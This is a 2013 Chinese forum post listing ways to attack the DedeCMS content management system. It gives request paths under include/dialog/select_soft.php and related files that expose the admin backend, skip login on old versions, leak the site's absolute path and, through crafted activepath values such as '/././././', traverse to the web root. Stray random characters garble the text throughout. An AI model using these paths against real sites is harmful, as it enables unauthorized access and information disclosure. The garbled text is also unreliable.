1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理& f E* ]2 \& Y4 _# |+ j
f. I% @* [ i6 @8 i
员帐号,新版本的就直接转向了后台.
0 B X* N$ n1 c+ N4 K# a4 o( [7 J# [: ^( h! U
2.include/dialog/config.php会爆出后台管理路径
5 v3 ^& @0 F8 c Y' A; {" U7 [
# Z9 l1 \8 T8 ?, L! G* H- N# `+ ~3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录6 K4 U j* Q2 b# m
P+ K! W n8 z& s" z4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.3 n8 u* i+ T% Q( \+ x% b, \$ R) [
& F, `" P* J- w# [5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉+ Z, @% N8 N/ |. ]1 H4 x4 h" X
) W, }6 l, ]. c2 W* R6 f到根目录去.不过这些版本的访问地址有些不同.. u6 @/ v/ O {$ k0 z- O3 L2 ?
地址为require/dialog/select_soft.php?activepath=/././././././././
+ I. w3 e7 e) Z" P- h/ |1 G" q2 C! Z/ T$ u0 l7 D
include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦../ t' X5 O0 `! k+ ^, h/ x2 N
存在相同问题的文件还有# U3 O# X% c, d8 X6 k. t- h
include\dialog\select_images.php
' i' L1 q9 ~7 b# l- \' ginclude\dialog\select_media.php; p( N) q- O/ }
include\dialog\select_templets.php
' Q( q) f- f/ Z) ?( { |
发表于 2013-4-16 16:50:43
收藏
支持
反对